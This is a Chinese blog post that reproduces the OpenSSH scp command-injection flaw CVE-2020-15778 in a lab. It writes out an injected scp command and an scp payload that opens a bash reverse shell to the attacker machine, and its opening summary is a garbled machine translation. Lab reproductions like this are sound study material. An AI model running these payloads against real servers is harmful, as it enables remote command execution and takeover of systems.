OpenSSH 命令注入漏洞(CVE202015778)

摘要:
最近,我看到很多大人物在复制OpenSSH命令注入漏洞。作为一只蔬菜鸡,我会跟随大人物的脚步,重复它。2020年6月9日,研究人员ChinmayPandya在Openssh中发现了一个漏洞,并于7月18日将其公开。在scp C中允许使用Openssh 8.3p1中的scp。向远程函数中注入命令,攻击者可以使用该漏洞执行任意命令。受该漏洞影响的OpenSSH=˂8.3p1版本要求OpenSSH=˂8.3p1了解ssh密码构建环境centOS7IP:1192.168.110.153kali2019.4IP:1192.168.110.10.134。以下是scp命令:让我们开始:关闭防火墙。(如果我不关闭它,我就不会在这里关闭它。)。

最近看好多大佬都在复现这个OpenSSH命令注入漏洞,作为菜鸡的我也要跟随大佬的脚步,也来复现一波(不分析漏洞原理,本人是菜鸡,能力不足)。再写这篇博客很不幸的我(电脑蹦了重启,写好的都没保存),不放弃继续重新来一遍。

OpenSSH 命令注入漏洞(CVE202015778)第1张

介绍

2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。

漏洞影响版本

OpenSSH =< 8.3p1

漏洞复现要求

OpenSSH =< 8.3p1

需要知道ssh密码

搭建环境

centOS 7    IP:192.168.110.153

kali2019.4  IP:192.168.110.134

介绍一下scp命令:

OpenSSH 命令注入漏洞(CVE202015778)第2张

下面开始行动:

关闭防火墙,(我没有关闭,在这里我也就不关闭了。)

查看ssh版本吧

ssh -V

OpenSSH 命令注入漏洞(CVE202015778)第3张

首先尝试一下利用scp命令,用kali对centOS进行写文件,复制文件。

scp 1.txt root@192.168.110.153:'`touch /tmp/test.txt` /tmp'

OpenSSH 命令注入漏洞(CVE202015778)第4张

 OpenSSH 命令注入漏洞(CVE202015778)第5张

成功将kali上面的文件传入道centOS上面,和自己创建了文件。

直接进行nc反弹获取shell

先监听一个端口

nc -lvvp 7777

进行反弹shell

scp test.txt root@192.168.110.153:'`bash -i >& /dev/tcp/192.168.110.134/7777 0>&1`/tmp/test1.txt'

OpenSSH 命令注入漏洞(CVE202015778)第6张

 OpenSSH 命令注入漏洞(CVE202015778)第7张

总结:该漏洞复现简单,漏洞等级 严重。复现需要知道ssh密码,主要针对知道ssh密码却不给登录,这样就可进行反弹shell获取权限了。

改正: 

我在总结说知道ssh密码却不给登录,这个我今天复现尝试了,禁止远程登录这个命令是不行的,应该是需要做别的策略,还在继续探索中,主要修改一下自己错误的地方。

参考文章:OpenSSH 命令注入漏洞通告(CVE-2020-15778)

免责声明:文章转载自《OpenSSH 命令注入漏洞(CVE202015778)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇vue项目使用自适应布局投屏到物理拼接屏变形的处理MySQL 启动后随即关闭或启动失败 [ innodb表空间损坏、innodb_force_recovery强制启动 ]下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Git 在同一台机器上配置多个Git帐号

在同一台机器上配置多个Git帐号 By:授客 QQ:1033553122   实践环境win10 Git-2.21.0-64-bit.exe TortoiseGit-2.8.0.0-64bit.msi 代码托管 Gitee.com   1.   打开Git Bash进入到Git repository所在目录,右键->Git Bash Here  ...

本地Git配置绑定远程Github账户

(背景是本地环境以前没有绑定过github,即没有残余文件) 本地设置用户名和链接远程账户(引号内修改为自己的用户名和账号) git config --global user.name"wangqinghe95"git config --global user.email"675072584@qq.com" 配置密钥 ssh-keygen -t rsa -...

SSH 远程登录以及免密登录

一、SSH远程登录的原理(基于口令)1、客户端向服务器发送远程请求如bigdata3登录到bigdata4:2、服务器接收到请求后,将自己的主机的公钥发送给客户端,公钥用于加密 3、客户端将主机发送来的公钥通过hash算法得出主机公钥的公钥指纹,核对公钥指纹是否正确,以确认当前请求连接的的是我们想要登录的主机。在bigdata4上查看公钥:ssh-keyg...

FTPS (FTP over SSL) vs. SFTP (SSH 文件传输协议): 我们如何做出选择

  最近在制作我们系统的发布包时,整理到ftp的时候,发现我们使用的是ssh模式进行文件传输的,而不是RFC 959的ftp,于是查了下,发现存在两种模式的文件传输模式,FTP和SSH。      第一个RFC的FTP协议发布通过网络使用FTP协议(由RFC 959或更高版本)的文件传输始于1980年,FTP提供上传,下载和删除文件,创建和删除目录,读取...

破壳漏洞(CVE-2014-6271)分析

受影响版本:GNU Bash 4.3及之前版本 影响范围:主流的Linux和MacOSX操作系统,与bash交互的各种应用程序,如HTTP,FTP,DHCP等等。 漏洞原理及POC验证: 1.bash基础知识 1.1局部变量 此变量在另一bash进程中无效,因此为局部变量。 1.2全局变量 export命令可设置全局变量,env命令也有此功能。  1....

ssh交叉编译安装提示代码块临时

需要文件 zlib、openssl、openssh 参阅: https://blog.csdn.net/ctbinzi/article/details/5929800 https://blog.csdn.net/v6543210/article/details/83420034 说明代码 arm-linux-gnueabihf-gcc mkdir /...